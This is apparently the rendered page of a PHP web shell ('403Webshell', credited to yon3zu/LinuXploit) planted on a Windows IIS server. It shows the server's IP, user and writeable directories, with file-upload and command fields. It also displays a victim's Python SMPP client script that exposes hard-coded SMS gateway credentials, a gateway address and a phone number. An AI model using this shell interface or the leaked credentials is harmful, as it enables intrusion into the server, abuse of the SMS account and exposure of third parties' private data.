403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/software/Services/python/smpp_client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/software/Services/python/smpp_client/smpp_client.py
#!/usr/bin/python

import logging
import sys

import smpplib.gsm
import smpplib.client
import smpplib.consts

# if you want to know what's happening
logging.basicConfig(level='INFO')

# Two parts, GSM default / UCS2, SMS with UDH
parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(u'Hello World €$£')

client = smpplib.client.Client('216.48.177.55', 8585)

# Print when obtain message_id
client.set_message_sent_handler(
    lambda pdu: logging.info('submit_sm_resp seqno: {} msgid: {}'.format(pdu.sequence, pdu.message_id)))

# Handle delivery receipts (and any MO SMS)
def handle_deliver_sm(pdu):
        logging.info('delivered msgid:{}'.format(pdu.receipted_message_id))
        return 0 # cmd status for deliver_sm_resp

#client.set_message_received_handler(lambda pdu: handle_deliver_sm(pdu))

client.connect()
client.bind_transceiver(system_id='swiftalliance', password='swift@23')
#client.bind_transmitter(system_id='SWIFTALL', password='More1922#')

for part in parts:
    pdu = client.send_message(
        source_addr_ton=smpplib.consts.SMPP_TON_ALNUM,
        source_addr_npi=smpplib.consts.SMPP_NPI_UNK,
        # Make sure it is a byte string, not unicode:
        source_addr='SWIFTALLI',

        dest_addr_ton=smpplib.consts.SMPP_TON_INTL,
        dest_addr_npi=smpplib.consts.SMPP_NPI_ISDN,
        # Make sure these two params are byte strings, not unicode:
        destination_addr='2348022225545',
        short_message=part,

        data_coding=encoding_flag,
        esm_class=msg_type_flag,
        registered_delivery=True,
    )
    logging.info('submit_sm {}->{} seqno: {}'.format(pdu.source_addr,pdu.destination_addr,pdu.sequence))

# Enters a loop, waiting for incoming PDUs
client.listen()

Youez - 2016 - github.com/yon3zu
LinuXploit